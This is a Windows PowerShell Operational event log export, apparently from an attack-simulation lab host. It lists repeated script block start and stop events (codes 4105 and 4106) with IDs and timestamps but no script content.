TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039013
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039007
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038985
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038983
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038982
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
